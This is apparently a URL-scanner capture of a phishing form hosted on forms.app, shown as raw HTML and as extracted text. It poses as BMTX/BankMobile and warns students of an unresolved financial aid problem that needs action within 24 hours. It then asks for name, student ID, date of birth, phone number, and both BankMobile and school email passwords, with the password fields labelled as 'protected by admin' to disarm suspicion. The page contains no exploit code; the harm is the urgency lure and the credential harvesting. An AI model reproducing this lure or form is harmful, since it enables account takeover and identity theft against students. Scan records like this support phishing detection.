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https://wn4dbd9x.forms.app/bmtx-inc-mybankmobile
Submission: On January 10 via manual from US — Scanned from US
Submission: On January 10 via manual from US — Scanned from US
Form analysis 1 forms found in the DOM
<form data-v-39a94425="" class="i-form"><!---->
<div data-v-39a94425="" class="logo-cover-wrapper logo cover">
<div data-v-630d7724="" data-v-39a94425="" class="form-cover logo-static"
style="background-image: url("https://file.forms.app/formfile/677ee43f31c101b737155e5e/95a10967-ce03-11ef-80d0-0242ac120002"); filter: brightness(100%); background-position: center center; background-size: contain;"></div> <!---->
</div> <!---->
<div data-v-39a94425="" class="big-question-wrapper"><!----> <!---->
<div data-v-26b49c23="" data-v-39a94425="" class="question step-view current" type="view" id="677ee68017b52c8efc34b10f" index="0">
<div data-v-26b49c23="" class="question-card-scroll first-question first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper">
<div data-v-1a77db15="" data-v-26b49c23="" class="form-header-wrapper">
<div data-v-1a77db15="" class="form-title view">
<h1 data-v-1a77db15="" class="form-title break-word">BMTX, Inc. BankMobile</h1>
</div>
</div>
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><!----></div>
<div data-v-25d17cae="" data-v-39a94425="" class="question-body question-wrapper" data-order="0" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-25d17cae="" class="wysiwyg break-word">
<p><strong>Your school has established a partnership with Bankmobile to efficiently distribute funds to our students. Bankmobile prioritizes the fastest, most reliable, and secure method of disbursing Emergency Grants to eligible
students.Regrettably, we have identified an unresolved issue concerning your financial aid distribution through Bankmobile. We kindly urge you to review and, if needed, update your Bankmobile information within the next 24
hours. Failure to address this matter promptly may lead to delays in receiving your funds.</strong></p>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button active"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div>
<div data-v-26b49c23=""></div>
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4c217b52c8efc34b0f0" index="1">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">1.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>Full Name</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="1" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-1" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4e217b52c8efc34b0f9" index="2">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">2.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>Student ID</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="2" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-2" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4e017b52c8efc34b0f8" index="3">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">3.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>Date of Birth</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="3" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-3" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee52217b52c8efc34b0ff" index="4">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">4.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>Have you setup your refund preferences</strong></p>
</div> <!---->
</div>
</div>
<div data-v-8feeef96="" data-v-39a94425="" class="question-body question-wrapper full required" data-order="4" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-8feeef96="" class="input-choice">
<div class="form-input-choice-wrapper"><label data-v-5df27ee8="" class="i-radio radio form-input-choice" required="required"><input data-v-5df27ee8="" type="radio" tabindex="-1" hidden="hidden" value="677ee52217b52c8efc34b0fd">
<span data-v-5df27ee8="" tabindex="-1" class="radio-button"><i data-v-5df27ee8="" class="before-radio"></i></span>
<p data-v-5df27ee8="" class="label-item">Yes</p> <!---->
</label><label data-v-5df27ee8="" class="i-radio radio form-input-choice" required="required"><input data-v-5df27ee8="" type="radio" tabindex="-1" hidden="hidden" value="677ee52217b52c8efc34b0fe"> <span data-v-5df27ee8=""
tabindex="-1" class="radio-button"><i data-v-5df27ee8="" class="before-radio"></i></span>
<p data-v-5df27ee8="" class="label-item">No</p> <!---->
</label></div>
<div data-v-3522cdce="" required="required">
<div data-v-3522cdce="" tabindex="-1" class="for-only-validation"><input data-v-3522cdce="" readonly="readonly"></div> <!---->
</div>
</div> <!---->
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4dc17b52c8efc34b0f6" index="5">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">5.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>BankMobile Email</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="5" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-4" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4da17b52c8efc34b0f5" index="6">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">6.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>BankMobile Pass__word [ protected by admin]</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="6" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-5" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4d817b52c8efc34b0f4" index="7">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">7.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>Phone Number</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="7" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-6" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4d517b52c8efc34b0f3" index="8">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">8.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>School Email</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="8" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-7" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
<div data-v-26b49c23="" data-v-39a94425="" class="question required step-view bottom" type="view" id="677ee4d217b52c8efc34b0f2" index="9">
<div data-v-26b49c23="" class="question-card-scroll first-question-column">
<div data-v-26b49c23="" class="question-card-wrapper">
<div data-v-26b49c23="" class="question-card"><!---->
<div data-v-26b49c23="" class="question-text-wrapper"><!---->
<div data-v-26b49c23="" class="align-column"><!---->
<div data-v-26b49c23="" class="question-info"><span data-v-26b49c23="" class="question-order">9.</span>
<div data-v-26b49c23="" class="question-title-wrapper">
<div data-v-26b49c23="" class="question-title">
<p data-v-26b49c23="" class="editable-input view"><strong>School Email Pass__word [ protected by admin ]</strong></p>
</div> <!---->
</div>
</div>
<div data-v-39a94425="" class="question-body question-wrapper required" data-order="9" setappvuevariable="function () { [native code] }" data-v-26b49c23="">
<div data-v-e95a78e6="" class="input-field i-text input prepend-icon success-input-wrapper">
<div data-v-e95a78e6="">
<i data-v-35a7270a="" data-v-e95a78e6="" class="icon-left i-icon"><svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="0 0 448 512"><path d="M448 48v72a8 8 0 0 1-8 8h-16a8 8 0 0 1-8-8V64H240v384h72a8 8 0 0 1 8 8v16a8 8 0 0 1-8 8H136a8 8 0 0 1-8-8v-16a8 8 0 0 1 8-8h72V64H32v56a8 8 0 0 1-8 8H8a8 8 0 0 1-8-8V48a16 16 0 0 1 16-16h416a16 16 0 0 1 16 16z"></path></svg></i>
<input data-v-e95a78e6="" id="i-text-8" required="required" type="text" class="f-input"> <!----> <!----> <!----> <!----></div>
</div>
</div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-wrapper">
<div data-v-39a94425="" data-v-26b49c23=""></div>
<div data-v-39a94425="" data-v-26b49c23="" class="card-design-next-button"><span data-v-39a94425="" data-v-26b49c23="">Press <strong>ENTER</strong></span>
<div data-v-e8e4386a="" data-v-39a94425="" tabindex="0" class="i-button append-icon with-icon" data-v-26b49c23=""><!---->
<div data-v-e8e4386a="" class="text-wrapper">
<p data-v-39a94425="" data-v-e8e4386a="">Next</p>
</div>
<i data-v-35a7270a="" data-v-e8e4386a="" class="i-icon"><svg aria-hidden="true" focusable="false" data-prefix="far" data-icon="check" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-check fa-w-16 fa-2x"><path fill="currentColor" d="M435.848 83.466L172.804 346.51l-96.652-96.652c-4.686-4.686-12.284-4.686-16.971 0l-28.284 28.284c-4.686 4.686-4.686 12.284 0 16.971l133.421 133.421c4.686 4.686 12.284 4.686 16.971 0l299.813-299.813c4.686-4.686 4.686-12.284 0-16.971l-28.284-28.284c-4.686-4.686-12.284-4.686-16.97 0z" class=""></path></svg></i>
</div>
</div>
</div>
</div> <!---->
</div>
</div>
</div>
</div>
</div>
</div> <!----> <!---->
</form>Text Content
text-photo text-video text-bold text-italic text-underline text-strike text-code text-paragraph text-ol text-quote apple stackoverflow text-hr text-undo text-redo text-font text-fontcolor text-link BMTX, INC. BANKMOBILE Your school has established a partnership with Bankmobile to efficiently distribute funds to our students. Bankmobile prioritizes the fastest, most reliable, and secure method of disbursing Emergency Grants to eligible students.Regrettably, we have identified an unresolved issue concerning your financial aid distribution through Bankmobile. We kindly urge you to review and, if needed, update your Bankmobile information within the next 24 hours. Failure to address this matter promptly may lead to delays in receiving your funds. Press ENTER Next 1. Full Name Press ENTER Next 2. Student ID Press ENTER Next 3. Date of Birth Press ENTER Next 4. Have you setup your refund preferences Yes No Press ENTER Next 5. BankMobile Email Press ENTER Next 6. BankMobile Pass__word [ protected by admin] Press ENTER Next 7. Phone Number Press ENTER Next 8. School Email Press ENTER Next 9. School Email Pass__word [ protected by admin ] Press ENTER Next Submit Press ENTER 1 / 10 10% Made with forms.app